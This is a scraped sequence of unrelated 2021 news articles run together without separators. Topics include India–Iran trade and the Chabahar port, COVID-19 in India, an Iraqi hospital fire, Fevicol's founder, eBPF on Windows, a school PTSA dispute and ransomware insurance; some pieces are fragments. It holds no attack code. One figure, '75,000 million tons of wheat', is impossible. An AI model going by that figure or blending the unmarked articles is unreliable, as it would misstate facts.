However, with a change in US leadership, prospects for economic engagement with Iran look promising. The new Biden administration is expected to follow a pragmatic approach towards Iran and the possibility of easing US sanctions is not all that far off. The US stance of negotiating its re-entry into the Joint Comprehensive Plan of Action (JCPOA), which was abandoned by the Trump administration in 2018, reflects Bidens facilitative, outward looking approach moves away from Trumps protectionist, inward looking approach.

India stands to benefit from this new approach, as India is Irans second largest trade partner for oil, after China. Deeper economic engagement with Iran is crucial for Indias energy security. In fact, as per reporting in Reuters, India hopes the thaw in US-Iran relations will enable it to move forward on US$500 million worth investments.

On July 8, Indias External Affairs Minister S. Jaishankar travelled to Tehran to call on the Iranian President-elect Ebrahim Raisi, a month before he assumed office. The visit was made enroute Jaishankars visit to Moscow for bilateral talks between July 7-9. Just last weekend, Tehran invited India to Raisis official swearing-in ceremony on August 5.

Trade treaty negotiation

Negotiations for an India-Iran bilateral Preferential Trade Agreement (PTA) are ongoing (five rounds have already been held as of June 2021), with a focus on diversifying the bilateral trade basket to include manufacturing, services, and light engineering items. The PTA, which is expected to materialize soon, will allow the two countries to cut tariffs on each others products. Since Iran is not a World Trade Organization (WTO) signatory, there is no obligation to keep the tariff rates within a specific threshold as prescribed by the WTO.

Indian exports to Iran

Major Indian exports to Iran include semi/wholly milled rice, black tea, fertilizers, organic/inorganic/agro chemicals, machinery and instruments, metals, primary and semi-finished iron and steel, pharmaceutical and fine chemicals, processed minerals, polyester yarn and woven fabrics, and rubber manufactured products.

India caters to more than one-third of Irans demand for sugar and rice. Iran imported around 700,000 tons of basmati rice from India during the first quarter of 2020. Other agricultural exports to Iran include barley, sesamum seeds, cane sugar, and oil cake etc. In FY19, Indias export basket to Iran was valued at US$3.5 billion and in the first 10 months of FY20, this value stood at US$2.8 billion.

Other potential items that can enhance Indian exports to Iran are machinery and instruments, electrical, electronic equipment, vehicles other than railway, tramway, plastics and plastic articles, optical, photo and technical apparatus, pharmaceutical products, animal vegetable fats and oil, ceramic products and pearls, and precious stones.

Indian imports from Iran

Major Indian imports from Iran include crude oil, inorganic/organic chemicals, fertilizers, plastic and articles, glass and glassware, natural or cultured pearls, precious or semiprecious stones, leather, etc. Agricultural imports from Iran comprise of almonds, pistachios, dates, and saffron, etc. In FY19, imports from Iran amounted to US$13.5 billion. In the first 10 months of FY20 (April 2019-January 2020), this value dropped to US$1.35 billion. The main reason for this drastic fall was no import of crude oil from Iran since May 2019.

Business prospects will depend on how regional stakeholders behave

In the period between June 1990 to March 2021, the cumulative Indian foreign direct investment (FDI) in Iran stood at US$5,750.20 million. Large Indian companies, such as ESSAR, OVL, and Tata Steel, etc., have a presence in Iran. (Comparatively, Iranian cumulative FDI into India from 1997 to 2019 stood at just US$905.62 million.)

Irans vast gas, oil, and hydrocarbon reserves as well as its strategic location makes it an attractive destination for India.

The recent US$400 billion deal between Iran and China to develop Irans infrastructure and energy in lieu of continual and discounted oil supply to China irked India and may incentivize New Delhi to be more aggressive in its pursuit of trade and commerce relations with Tehran.

Pure rhetoric will not stand for much in the region, and businesses should pay attention to the presence of new regional stakeholders with the departure of US-led NATO in Afghanistan. China is expected to join Russia as a security provider, but India could further its economic and developmental goals through reinforcing infrastructure and easing trade flows via tariff and non-tariff relaxations. This makes sense in light of New Delhis own reservations on the Belt and Road Initiative and Pakistan (CPEC) versus desire to improve the scope of India-Iran economic and trade cooperation.

Chabahar port and other regional trade facilitation linkages

This is why India has heavily invested in the Chabahar port of Iran, which will provide it with sea-land access to Afghanistan and Central Asia through Iran, bypassing Pakistan. This investment is key to Indias strategic ambitions in the region, be it accessing the rich mineral reservoirs of Central Asia or accessing the tactically important Afghanistan in asserting Indias role in the security and development of the region.

Recently, India also proposed for the inclusion of Chabahar port in the multimodal INSTC project. Proposed by India, Russia, and Iran in 2000, the INSTC now enjoys the support of 10 other Central Asian countries. It envisions a 7,200 km-long multi-mode network of ship, rail, and road for freight transport, aiming to cut carriage costs by about 30 percent and transit time from 40 days to about 20 days.

India has been developing two terminals at the Chabahar port, including the Shahid Beheshti complex. Under an agreement with Iran, India will run the terminal for 10 years. Back in December 2018, an Indian company, India Ports Global Limited (IPGL), took over the ports operations.

As of December 2020, the port has handled 1.75 million tons (MT) of bulk cargo and more than 13,000 TEUs of container cargo, as reported by WION media. India has used the port to send 75,000 million tons of wheat to Afghanistan in 2020 as part of humanitarian aid during the pandemic. India has also supplied 20,000 liters of the pesticide Malathion 96 ULV to Iran via the Chabahar port to help the country curb its desert locust outbreak.

Media reports from March quoted Indias ports and shipping minister Mansukh Mandaviya, saying that the port would commence full operations by May. Speaking to Reuters, Mandaviya said that Chabahar port had handled 123 vessels and 1.8 MT of bulk and general cargoes from February 2019 to January 2021. Moreover, India has agreed to provide six cranes and other equipment worth US$85 million to equip and operationalize the Shahid Beheshti terminal.

Finally, India also wants to set up an around 600 km railway line from Chabahar port to Zahedan, which is the provincial capital of Sistan-Baluchestan in Iran and is close to the Afghan border. The undertaking is expected to cost US$1.6 billion.


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The number of COVID-19 cases has been falling across most parts of India over the past few weeks and daily infections have remained around the 40,000 mark since the start of this month.

While this is the case with most states, a few of them continues to remain a concern as the infection rate there is not coming down but is showing signs of increase.

bccl

In fact, five states, Kerala, Maharashtra, Tamil Nadu, Andhra Pradesh and Odisha  accounted for 73.4% of total new cases recorded in July. Out of the five, Maharashtra and Kerala, the two worst-hit states accounted for 51% of cases reported in July.

Kerala highest

Kerala, which posted the highest count of new cases last week at 91,652, saw an 8.1% increase in infections. This was the second straight week of rising cases in the state.



BCCL

In Maharashtra too, there are signs of a slight increase in the number of cases, at least in some districts.

The continuing rise in the number of COVID-19 cases in a few states is already causing fears of a third wave in India.

Health Ministry cautions against complacency

Union Health Ministry cautioned the citizens to ensure that the third wave that is being reported around the world does not hit India.

"The world is witnessing third wave (of COVID-19)... We've to join hands to ensure that the third wave doesn't hit India. Prime Minister Narendra Modi today clearly said that we should focus on keeping the third wave at bay, instead of discussing when it would come in India," said Dr VK Paul, Member-Health, Niti Aayog at the press conference.

BCCL

Lav Agarwal, Joint Secretary of Union Health Ministry informed that a further surge in cases is being noted in some states, like Manipur, Mizoram, Tripura and Arunachal Pradesh. He also noted that there are some states, where cases have come down but are still being witnessed in the form of the plateau.

"We would like to request to everyone, when we talk about the third wave (of COVID-19), we are taking it as a weather update and not understanding its seriousness and our responsibilities associated with it," he said.

BCCL

Agarwal also highlighted that the Centre has deputed teams in 11 states so that they can help the state governments in COVID-19 management.

"Besides northeastern states, the teams have been sent to Maharashtra, Chhattisgarh, Kerala and Odisha, as they were reflecting a growth trajectory," he added.
Trolls on social media forced an interfaith marriage ceremony to be called off after they called it a case of 'love jihad'.

Buckling under pressure from their Hindu community members, parents of a 28-year-old woman in Maharashtra's Nashik district have called off her marriage ceremony with a Muslim man.

In a letter to the community body, the woman's father, a jeweller, said they decided not to go ahead with the July 18 wedding ceremony due to the present situation', referring to the protests on social media after the wedding invitation card went viral.

Unsplash

He said his daughter and the man had a registered marriage in May. However, due to the present situation, I can't say if they will stay together, he said, adding his daughter is staying with her parents since the marriage registration.

The woman was scheduled to tie the nuptial knot as per Hindu rituals.

A member of the woman's community said the man was her private tutor a few years ago and that was how they got to know each other.

The registered marriage did not evoke any harsh reaction within the community but the family came under a lot of pressure after the invitation card of the wedding ceremony went viral on social media, a community member said.

Social media posts and messages related to the marriage ceremony were widely circulated on WhatsApp groups and the woman's family members also received telephonic threats, he said.

Representational Image

The woman's father, who is an office-bearer of the community body, consulted family members after the stiff opposition on social media and decided to call off the wedding ceremony, he said.

The woman's father has informed us through a letter that he is calling off the marriage ceremony of his daughter due to certain circumstances, said Sunil Mahalkar, president of Sant Narhari Maharaj Lad Suvarnakar Sanstha, Nashik.

The decision to call off the wedding ceremony was also circulated on WhatsApp, with community members thanking various suvarnakar' (jewellers) community organisations and also the OBC Andolan Samiti, Vishwa Hindu Parishad, Bajrang Dal and Hindu Ekta Manch.
The death toll from a fire that tore through a COVID hospital in Iraq rose to 92, health officials said even as authorities faced accusations of negligence from grieving relatives and a doctor who works there, as per Reuters.

What happened?

Over 100 others were wounded in the blaze, which an investigation showed started when sparks from faulty wiring spread to an oxygen tank that then exploded, police and civil defence authorities said. It was Iraqs second such tragedy in a span of three months, and the countrys president blamed corruption for both.

Rescue teams used a heavy crane to remove the charred and melted remains of the part of the citys al-Hussain hospital where COVID patients are undergoing treatment, as relatives gathered nearby. A medic at the hospital said there was an absence of basic safety measures.

Reuters

The hospital lacks a fire sprinkler system or even a simple fire alarm, he said.

Not the first such incident

In April, a similar explosion at Baghdad Covid-19 hospital killed at least 82 and injured 110.

Iraqs semi-official Human Rights Commission said the blast showed how ineffective safety measures still were in a health system crippled by war and sanctions.

Reuters

The fact that the hospital had been built with lightweight sandwich panels separating the wards had made the fire spread faster, local civil defence authority head Salah Jabbar said. Health and civil defence managers in the city and the hospitals manager had been suspended and arrested on Monday on the orders of PM Mustafa al-Kadhimi, his office said. Government investigators arrived in Nassiriya on Tuesday morning, according to a statement. Their findings would be announced within a week, Kadhimis office said.



Iraq is in the midst of a third wave of coronavirus infections. Last week, the country reached a high of 9,000 new cases a day with over 17,000 dead since the pandemic began, according to the health ministry.


People who don't have a strong sense of self belief always blame their luck and others for their failure. If you want to learn how to touch the pinnacle of success against all odds and difficulties, then you must read about Balvant Parekh, 'India's Fevicol Man.'

Balvant Parekh, 'India's Fevicol Man' | Forbes India

Balvant Parekh was one of the first-generation entrepreneurs of post-independence India, who contributed to strengthening the economic condition after independence. Today Balvant Parekh's company, which was founded in 1959, has a billion-dollar turnover annually. But Parekhs initial journey of building the Pidilite Industries was, however, fraught with struggles and hardships. Today, we learn about the journey of a man who came from a humble background but went on to become the 45th richest Indian according to the Forbes list of 2013.

Who is Balvant Parekh?

Balvant Parekh was born in the small town of Mahuva in the Bhavnagar district of Gujarat. As per Gujaratis trend, Balvant also had a desire to become a businessman but his parents wanted him to study law and become a lawyer. After a lot of family pressure, Balvant Parekh moved to Mumbai to pursue law at Government Law College in Mumbai.

Participated in Quit India Movement

Balvant Parekh, 'India's Fevicol Man' | Pidilite

Balvant Parekh studied at Government Law College in Mumbai. It was the time when almost the entire country was coloured in the thoughts of Mahatma Gandhi. As many from the young generation took part in the Quit India Movement, Balvant Parekh also jumped into the movement, leaving his studies midway. After staying in his hometown in Gujarat and participating in different social activities for India's independence, he later went back to Mumbai to complete his education.

Studied advocacy but did not advocate

Balvant Parekh's father wanted him to become a legal expert like his grandfather. But it wasnt something he aspired to do in life. His mind was stuck in making it big in the city of dreams  Mumbai. He was not a business student and neither did he have any family backing, but he attracted wealth through his hard work and built a larger-than-life brand. Despite completing his degree in law and clearing the bar council exams, the bundle of lies that came with the profession made him very uncomfortable and he quit despite his familys resistance.

Balvant Parekh, 'India's Fevicol Man' | Forbes India

Without having any jobs in hand Balvant was married to Kantaben, and soon was facing a financial burden. So in order to make a living in Mumbai he initially worked at a dyeing and printing press, and later joined a wood traders office as a peon.

Failures and upsets galore

It was a tough situation for him as he had to make his own living and survive without any support. During these days Balvant lived with his wife in a friend's warehouse. Peons job was not working out for him and he was looking for a better opportunity, and here he had started developing contacts and began supplying a list of import-export items to the relevant businessmen. Through one of these contacts, Balvant got an opportunity to go to Germany. During his foreign trip, he learned the tips and tricks of business, which later benefited.

When was Fevicol founded?

Parekh got his first major break while working for a firm that represented Hoechst in India. Later, in 1954, he finally set up shop with Parekh Dyechem Industries in Mumbais Jacob Circle. Here Balvant Parekh started manufacturing pigment emulsions used for textile printing, along with his brother Sushil Parekh.

Balvant Parekh, 'India's Fevicol Man' | Outlook Business

Pidilite was born later, in 1959, as an industrial chemicals company, as adhesives were sold unbranded at the time. Since then Fevicol has become synonymous with glue and Indian carpenters swear by it. Started with just one small shop and manufacturing a single product, Fevicol Pidilite Industries soon tasted success in the Indian market when Fevicol successfully built a monopoly in the adhesive space. Thereafter Pidilite launched two other products Feviquick and M-Seal, which went on to build around 70 percent market shares each, making Pidilite the known and go-to brand for adhesives in the country.

Pidilite Industries Limited international expansion

In 1984 the company's consumer product division was born and in 1989 the company entered the Fevicryl Acrylic Colours transform fabric and multi-surface painting market. Fevicol, the premier brand of the company, ranked among the Top 15 Indian brands by FE Brandwagon Year Book 1997. Beginning with Fevicol, now Balvant Parekhs company makes more than two hundred products like M-Seal, Fevikwik, Fevistik, Dr. Fixit and Hobby Ideas. Pidilite was the first company in India that started the production of violet pigment in the year 1973.

Balvant Parekh, 'India's Fevicol Man' | Pidilite

Since 2006, Pidilite Industries Limited has focused on international expansion, with factories set up in the United States, Thailand, Dubai, Egypt and Bangladesh. Pidilite also built a research centre in Singapore.

A big impact of Fevicols creative and funny commercial advertisement

Almost everyone who's spent their time on the TV screen in the 90s can't ever forget the exceptionally funny and creative commercial advertisement of Fevicol. According to his son Madhukar, who took over Pidilite as managing director in 1992, the companys consumer-facing persona only started developing in the 1970s. It was then that the company made a tentative move towards advertising its adhesives under the Fevicol brand. The first was in the 1970s, when some ads were shown on Doordarshan. Also, the elephant symbol of the brand was created under the guidance of advertising agency Ogilvy and Mather (O&M).

Awards and achievements

Balvant Parekh always believed that no milestone is far if you pursue your dreams with passion and enthusiasm. Balvant was not only an entrepreneur but also had done a lot of social welfare work. Balvant had provided support in starting an Arts and Science college in Mahua, Gujarat. He donated Rs 20 million for Bhavnagars Science city project and also donated to Gujarati Sahitya Parishad. In 2009 Balvant founded Balvant Parekh Centre for General Semantics and Other Human Sciences in Baroda Gujarat India.

Balvant Parekh, 'India's Fevicol Man' | Pidilite

On 28th, October 2011, The Institute of General Semantics in Texas conferred on BKP the prestigious J Talbot Winchell Award, making him the first Asian to receive this honour. Ranked at number 45 on Forbes Asias India Rich List with a family fortune of $1.36 billion Parekh passed away in 2013 at the age of 88.

Balvant Parekhs journey from a nobody to Indias Fevicol Man and one of the biggest industrialists motivates us to become the best version of ourselves.
Doctors at a hospital in the US' Ohio transplanted a kidney into the wrong person, and because of that, the intended recipient is still waiting for the life-saving surgery.

Clevelands University Hospitals have apologized for the medical mess and two employees involved in the shocking mix-up have been placed on administrative leave, New York Post reported.

Representational Image/iStock

The person who received the kidney is expected to recover since the organ happened to be compatible, but the other patients transplant has been delayed because of the error.



We have offered our sincerest apologies to these patients and their families, hospital spokesman George Stamatis said in a statement.

We recognize they entrusted us with their care. The situation is entirely inconsistent with our commitment to helping patients return to health and live life to the fullest," he said.

UCSF

Officials have informed the United Network for Organ Sharing, which oversees transplants in the US, and is reviewing the incident to understand what led to the error and to ensure that such an event will never happen again, the statement said.



Earlier in May, doctors at an Austrian hospital amputated the wrong leg of an elderly man, in what was described as a "tragic mistake".

Representational Image/AFP

The 82-year-old patient was supposed to have his left leg removed, but doctors instead amputated his right leg above the knee, which the hospital, the Freistadt Clinic in northern Austria, blamed on "human error."



The hospital had said that the error appeared to have been made before the operation when a worker incorrectly marked his right leg as one to operate on.
Janani Ramachandran, an Indian American candidate running for Californias 18th District state Assembly seat, has filed a formal complaint against the California Democratic Party, alleging that it violated its own rules when it chose to endorse her opponent, Mia Bonta. Mia Bonta is the wife of Rob Bonta, who held the seat until he was appointed Californias Attorney General earlier this year. (oaklandca.gov photo)
Forney, TX (75126)

Today

Intervals of clouds and sunshine. A stray shower or thunderstorm is possible. High 92F. Winds NNW at 5 to 10 mph..

Tonight

Clear to partly cloudy. A stray shower or thunderstorm is possible. Low 72F. Winds NNE at 5 to 10 mph.
Much of modern operating system functionality happens in and around the kernel. Thats a problem when youre implementing monitoring and observability tools or adding low-level security tools because hooking into kernel functions is complex. Even Linux, readily accessible and with its system of run-time-loaded kernel modules and modifiable source code, makes it hard.

Once you started rolling your own kernel-level tools, youd quickly end up with a nearly unmaintainable stack of modules and a kernel that only worked for your application. Then there's the problem of upgrading: Would your modifications work with a new kernel release, or would you have to build everything from scratch again, or worse still, would it force you to prevent any updates at all?

Enter extended Berkeley Packet Filters

It was clearly an untenable position, until the development of eBPF, the extended Berkeley Packet Filter. By putting a sandbox inside the kernel, you can add code that hooks into kernel functions without requiring any changes to the kernel itself. Like the traditional Berkeley Packet Filter, eBPF provides an interface to kernel-level events, which then launch eBPF programs that run in a secure virtual machine in the Linux kernel.

Thats fine if youre running a purely Linux environment, but most organizations now have heterogeneous systems, mixing Windows and Linux. Thats even more true of the cloud, where its the APIs that matter rather than the underlying OS. With cloud-native development focused on scalable, distributed systems, traditional monitoring technologies are hard to justify and eBPF-based observability tools become increasingly important.

If were to use eBPF-powered APIs to examine low-level OS performance in distributed systems, then getting it to run on Windows systems is important. This is where Microsofts recent reorganization of its operating systems group begins to make more sense, as it puts both Windows and Linux kernel development teams in the same group, allowing them to share ideas and tools. One of the first major collaborations between the teams is the Windows port of eBPF, announced in May.

Running eBPF on Windows

Currently being developed on GitHub, eBPF on Windows offers many of the same features as on Linux; however, architectural differences between Windows and Linux mean that it has needed to be implemented quite differently. Microsoft has implemented eBPF in a way that crosses the Windows usermode and kernel boundary safely. eBPF code from a standard eBPF toolchain is compiled to bytecode, ready for use by security or monitoring tools. You can verify and test eBPF code, calling it from the familiar netsh.exe Windows command, allowing you to build it into scripted actions from PowerShell.

eBPF code works with a user-mode library to deliver bytecode to a protected service running in userspace. Here code is checked before being run using a standard eBPF verifier, PREVAIL. This is a static code analyzer that checks code to ensure that it terminates, that code is type and memory safe, and that it does not access kernel data structures. PREVAIL is a second-generation verifier, which can work with complex eBPF code, including support for loops.

Windows protected services are signed by a key that allows code running in the protected space to be trusted by the kernel. Its a way of ensuring that malicious code cant enter the kernel while still allowing trusted eBPF extensions to be used. Its a key part of the Windows design philosophy to keep code out of the kernel. By hosting the eBPF JIT in a driver, if it crashes, Windows will carry on running, and the driver can be reloaded automatically.

Once verified, code is either passed to a JIT compiler or handed over to a Windows kernel-mode interpreter. Compiled code and interpreted code both run in a Windows driver, ebpfcore.sys, which acts as a sink for events from another eBPF driver that acts as a shim for hooks from the Windows network driver subsystem and the TCP/IP stack. It then allows complex verifier functions to run in a safe environment where computationally intensive operations dont affect other applications and services.

Building on eBPF in Windows tools

Much of the Windows eBPF stack builds on existing open source tools, making it easy to port code already running on Linux systems to Windows. By using familiar environments and contexts, Windows can quickly become part of an existing eBPF-based monitoring environment, either for testing code running on Windows desktop development systems or in production on Windows servers on-premises or in Azure.

Thats not to say eBPF For Windows is directly compatible with Linux eBPF systems. The two operating systems have very specific ways of working, and many Linux eBPF hooks dont translate directly to Windows equivalents. If youre using eBPF to monitor specific internal structs, that code is unlikely to work on Windows, where kernel memory is handled differently. Instead, its best to think of the Windows version of eBPF as a place to use common hooks, with a focus on the network stack rather than on kernel operations.

Microsoft aims to simplify eBPF ports by offering libbpf APIs as part of its implementation. The public APIs are there from the start, with drivers that work on Windows out the box. Under the hood, the tooling uses Windows syntax and calls, exposing them as generic hooks to eBPF clients. As a result, theres no need for Microsoft to sign all your kernel-level code; its already signed the eBPF components that run your code after its been verified in a secure environment. Thats a big saving in both time and flexibility.

Initially, Microsoft is supporting access to the networking stack, but theres actually support for anything with a driver, so eBPF could be integrated with a file system filter as a tool for monitoring file system operations. Its possible to imagine a tool like this running across all the PCs in an organization monitoring for ransomware behaviors at a file-system level, and able to rapidly shut down operations as soon as malware activity is detected.

Giving Windows a user-programmable kernel

These are early days for eBPF on Windows. Whats shipping is more than a proof of concept but less than whats possible. Theres a lot of community interest and a lot of demand for features. The project is open, like the Linux eBPF, so its going to be up to the wider community to have these available, giving Windows the user-programmable kernel that its never had without opening that kernel up to security vulnerabilities.

Keeping the Windows eBPF in userland seems to be a contradiction in terms, but marrying it with a kernel driver and a secure sandbox gives you the security you need with the flexibility you want. Microsoft has even demonstrated eBPF running in HVCI, Windows HyperVisor-enforced Code Integrity tool. Here, kernel-mode processes run virtualized to increase isolation, protecting the rest of the kernel from untrusted code. Although you cant run compiled eBPF code in HVCI, it is suitable for using the interpreter, adding an extra layer of protection from third-party applications.

Adding support for eBPF in Windows makes a lot of sense. As we scale out heterogeneous systems, we need cross-platform monitoring and security tools, and having a common framework and APIs across Windows and Linux is helpful. Even if the same code wont run on both platforms, a shared way of developing components should simplify operations and development.
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The Parent Teacher Student Association at the Thomas Jefferson High School for Science and Technology has been placed on probation by the Virginia PTA and ordered to reinstate president Bonnie Qin, who was apparently ousted from her role on July 9.

The requirement to reinstate Qin by July 31 is among several demands included in a letter emailed to TJ PTSA members late Monday from Virginia PTA President Pamela Croom. Thomas Jefferson, or TJ, is a magnet school in Fairfax County that is ranked as the top high school in the country and draws students from across Northern Virginia.

If the TJ PTSA does not comply, the Virginia PTA will probably revoke its charter. Should this happen, the TJ PTSA would be dissolved, and the Virginia PTA would seize its assets, including $80,000 intended to fund student events.

While Virginia PTA believes it has cause to revoke the charter of TJHSST PTSA, we would prefer to work with TJHSST PTSA leadership to repair the damage done, Croom wrote in the letter.

The notice from the Virginia PTA comes nearly three weeks after the state group initially sent a letter declaring its intent to revoke the TJ PTSAs charter. The letter of intent indicated that unless the executive committee addressed several alleged violations of the PTSA bylaws, the TJ PTSA would be disbanded.

Rather than address the violations, fierce advocates against admissions changes and the teaching of critical race theory  who made up the majority of the executive committee  contested the Virginia PTAs authority. They refuted the accusations in the letter and claimed that the Virginia PTA was working with Qin to nullify the results of the recent election for officer positions.

The executive committee went on to vote 3-1 to remove Qin from her position. President-elect Harry Jackson  among the opponents of admissions changes  said Qin was removed in part because she restricted access to records. Jackson assumed the role of president after the vote; however, Qin has not acknowledged her removal.

According to the letter from Croom, the Virginia PTA has moved the TJ PTSA into the Probation Phase of Non-Compliance. During the probation period, at least two members of the Virginia PTA leadership team must be present and given a voice at all executive committee and general membership meetings.

Additionally, by July 31, the TJ PTSA executive committee must reinstate all officers who either resigned or were removed between June 28 and July 12. This includes not only Qin, but also Jun Wang and Li Yang, who resigned in the days after the Virginia PTAs letter of intent.

The executive committee has yet to agree to the Virginia PTAs stipulations. Jackson told InsideNoVa the group is exploring ways to contest certain requirements outlined in the letter.

Their last three demands are really unreasonable. I don't really think that letter was sent with the true intention to help children, which is what PTSAs are designed to do, Jackson said. We're trying to figure out how to best respond to it.

If avenues to avoid the restrictions of the probation phase fail, Jackson said a general membership vote may be held to decide whether the PTSA accepts the Virginia PTAs demands or lets its charter be revoked.

Do they want to [let the charter be revoked] or do they want to accept subjugation to a majority white Virginia PTA? Jackson said.

Anuj Khemka is a rising senior at TJ and a member of the editorial board of tjTODAY.
According to her great, great nephew, Monica Flinn likely spent the first summer at her new El Charro Cafe making pots of stew and tortillas to feed local construction workers. That was 99 years ago, and summer survival continues to be the hallmark of the season at each of El Charros Tucson
Cyber criminals arent just stealing passwords and data. Theyre stealing the spotlight.

Amid the ongoing COVID-19 pandemic that has been a global focus since government shutdowns began in March of last year, insurers and businesses all over the world are now being forced to grapple with another damaging epidemic: ransomware.

Ransomware attacks accounted for nearly one quarter of all cyber incidents globally last year, according to software company Bitdefender, and theyre on the rise. So far this year, ransomware incidents have afflicted businesses, hospitals, schools, local governments, critical infrastructure and even insurance companies own operations.

An explosion of attacks this year has led state regulators and federal government officials to elevate their focus on ransomware, with The White House ramping up its discussions about the issue in the wake of recent incidents, Reuters reported.

I think the takeaway is hopefully help is on the way and that companies are not being left to simply fend for themselves because the government is going to make enforcement and pursuit of these actors a priority, said Peter Halprin, partner at New York-based law firm Pasich in the most recent episode of the Insuring Cyber Podcast.

Centralizing the Focus

A spate of recent attacks are of particular concern among U.S. government officials, as theyve been attributed to cybercriminals operating from Russia. There was the hack last year in which Russian military cyber criminals sabotaged computer code within a software called SolarWinds. Now, a July ransomware attack has made its way to the center of the conversation, in which the Florida information technology firm Kaseya saw its management system hacked. REvil, a Russia-linked cybercrime syndicate, took credit for the breach.

In June, REvil extorted an $11 million ransom out of meatpacker JBS after compromising its supply chain. Earlier this year, in May, an intrusion by another Russia-linked group at U.S. fuel transporter Colonial Pipeline led to the shutdown of 5,500 miles of critical infrastructure, causing panic buying and gas shortages all along the East coast.

Theyre targeting every vulnerable organization you can think of under the sun, said Marc Wallenstein, partner at plaintiffs complex-litigation firm, Korein Tillery, later in the podcast episode. that wasnt happening five years ago.

Its been reported that the U.S. Department of Justice is elevating investigations of ransomware attacks to a similar priority as terrorism, with internal guidance sent to U.S. attorneys offices across the country saying information about ransomware investigations in the field should be centrally coordinated with a recently created Ransomware and Digital Extortion Task Force in Washington.

In a press conference following the Colonial Pipeline attack, Deputy Attorney General of the United States Lisa Monaco stated that ransomware and digital extortion pose a national security and economic security threat to the United States.

Wallenstein said a centralized focus on ransomware at the federal level is an important step in the right direction toward tackling the issue.

By centralizing information, its the first step to having a template approach and making sure that all the resources necessary are brought to bear quickly, he said.

Its your security against the outside world

Wallenstein added that for businesses, its critically important to invest now in the infrastructure, technology, staff and training necessary to prevent ransomware attacks from happening in the first place. Halprin agreed.

[Businesses] simply cant hide from it, he said. I think they need to be proactive.

Halprin said incident prevention is a four-fold effort. Businesses need to implement both strong password protection and a robust incident response plan in case of an attack to limit its impact. Then, they need to consistently test their response plan and take action to address any vulnerabilities.

Its your security against the outside world. How do you protect people from getting in? What can you do? he said. there are instances where underwriters are simply saying, No, youre just too risky and were not going to underwrite you. I think those are the kinds of things that will promote companies saying, Oh, wait a minute. If were not even worthy of being underwritten right now, there are a lot of things we need to do to improve our systems.'

Wallenstein said insurers also need to be proactive with their clients to ensure they have the correct products and proper protocols in place to prevent a hack.

If you have larger clients, you probably want to audit their IT infrastructure and their cybersecurity infrastructure, he said. If its not good enough, adjust your premiums accordingly, because this is a huge risk.

Ransom Payments Still a Gray Area

One aspect of incident response that has seen much debate among businesses and insurers alike is the payment of ransoms. The U.S. Treasury Department issued a warning in October that individuals or businesses, including cyber insurers, that help facilitate ransomware payments could be violating anti-money laundering and sanctions regulations. However, the payment of ransoms is still a gray area for many businesses that could find themselves victim to an attack and cyber insurers that may reimburse clients for ransom payments.

Halprin advised against the payment of ransoms, saying the risks are too high. Wallenstein went on to say that if ransom payments are prohibited, he believes the attacks would stop.

But it is a very difficult line to draw, he said. It makes sense that the government is taking an incremental approach, because youre essentially punishing the victim. If you have some poor business thats hacked out of its systems and pays the ransom, its hard not to feel a lot of sympathy for them. And I think we all do.

While no business or individual has yet been prosecuted for paying a ransom, Wallenstein said businesses and governments should collaborate to ensure the right infrastructure is in place to stop ransomware payments. He added the reimbursement of ransom payments by insurers could be seen as a green light for clients to pay ransoms, which could in turn lead to more attacks.

If I were an in-house attorney to an insurance company, I would absolutely cease the reimbursement of ransomware payments immediately, he said.

While global insurance company AXA announced in May it will stop writing cyber insurance coverage in France that reimburses customers for making payments to ransomware criminals, some in the insurance industry are responding differently.

The nations largest property/casualty insurance organization is defending ransom payment reimbursements by insurers in a new set of principles stressing that the insurance industry wants to partner with government and business to improve cybersecurity, Insurance Journal previously reported.

The insurers say they must be permitted to provide reimbursement coverage for the policyholders payment of ransom for cyber extortion, subject to applicable sanction and other laws.

This principle is consistent with the long-standing approach to the parallel issue of crime or kidnap & ransom coverages, which are allowed by regulators so long as those payments do not violate sanctions laws, the American Property Casualty Insurance Association (APCIA) said in releasing its Cyber Extortion/Ransomware Guiding Principles.

APCIA said it is worried that prohibitions on the reimbursement of ransom payments present potential unintended consequences such as eliminating a meaningful risk management resource.

R.J. Lehmann, senior fellow at the think tank International Center for Law & Economics, said he believes a ban could have the opposite intended effect and encourage more attacks on high-value targets.

a ban on ransom payments would be likely to shift hackers focus to the highest value targets where an interruption would do the most damage to society, Lehmann previously told Insurance Journal.

Indeed, the insurance industry appears to be conflicted on this issue, as a recent Insurance Journal poll asking whether insurers should provide ransom reimbursement coverage within cyber policies brought mixed results.

Nearly half of respondents  47%  said insurers should provide this coverage as its an important risk management source, especially for businesses that have no option but to meet ransom demands if attacked. However, just less than that  42%  said insurers should not provide this coverage as it carries too many risks and will encourage payment of ransoms, which could lead to more attacks. A handful of respondents were not sure as ransomware continues to evolve. The data was collected at time of publication.

Wallenstein said that while insurance companies reimbursing clients for ransom payments arent in any danger of repercussions right now, he sees that as a possibility in the future.

If some creative prosecutor or regulator decides to make a name for themselves enforcing existing laws, then all of a sudden the field changes, he said. That happens all the time.

Despite growing risks around ransomware, Wallenstein said he believes things are moving in the right direction in terms of response and awareness.

Hopefully, over time, everyone will figure out how to get us to a place where people can stop paying the ransom without the devastating consequences of, for example, a pipeline being turned off or a hospital being shut down.

Halprin pointed to a gray rhino event to demonstrate how far things have come since the early days of ransomware. He described a gray rhino event as a threat that is highly probable and highly impactful, yet neglected.

I think thats how we could think of ransomware pre-Colonial Pipeline, he said. And I think nowpeople are seeing the threat for what it is, and I think that they can no longer put their heads in the sand anymore. So its really important for everyone to think about these things, to stay on guard and to steel themselves and protect themselves so that they are not the ones who are on the front page of the paper or were discussing in podcasts.

Check out the rest of the most recent Insuring Cyber Podcast episode to see what else Marc and Peter have to say, and be sure to check back for new episodes publishing every other Wednesday along with the Insuring Cyber newsletter.

Topics Carriers Cyber
Burns & Wilcox Brokerage, a business unit of H.W. Kaufman Group solely dedicated to complex wholesale property/casualty brokerage, has opened its newest office in Boston, Massachusetts, and added five brokers to its growing Northeast team.

Cooper OConnor, Brian Sullivan and Josh de Lara join the Burns & Wilcox Brokerage office in Boston and Ryan Ascenzo and Alex Arnold join the New York City team.

The new team members bring their expertise to meet the increased demand for specialty services and insurance solutions, such as construction, real estate, hospitality, environmental, cyber and more, according to a company press release.

Burns & Wilcox Brokerage added OConnor as senior professional broker, Brian Sullivan as senior casualty broker and Josh de Lara as associate broker for professional liability. Both OConnor and Sullivan report to Managing Director Adrian Smith. De Lara reports to OConnor.

OConnor and De Lara join after previously working for RLA Insurance Intermediaries, where they most recently served as vice president of professional and management liability and associate broker of professional liability, respectively.

